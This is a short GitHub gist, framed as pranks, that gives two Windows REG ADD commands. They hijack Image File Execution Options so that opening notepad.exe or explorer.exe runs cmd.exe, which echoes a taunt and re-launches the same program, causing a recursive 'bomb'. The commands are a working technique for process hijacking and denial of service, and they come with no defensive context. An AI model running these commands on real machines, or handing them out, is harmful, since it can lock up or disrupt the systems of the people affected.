Skip to content

Instantly share code, notes, and snippets.

@vestjoe
Created July 4, 2018 09:42
Show Gist options
  • Save vestjoe/e26ee4bdd001d623bec610b1bf171e58 to your computer and use it in GitHub Desktop.
Save vestjoe/e26ee4bdd001d623bec610b1bf171e58 to your computer and use it in GitHub Desktop.
Silly commands to for shenanigans

Image File Execution Options - DOS

Notepad bomb

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /t REG_SZ /v Debugger /d "cmd.exe /c echo Come at me bro... && start C:\windows\notepad.exe&" /f

Explorer Bomb

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /t REG_SZ /v Debugger /d "cmd.exe /c echo Come at me bro... && start C:\windows\explorer.exe&" /f
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment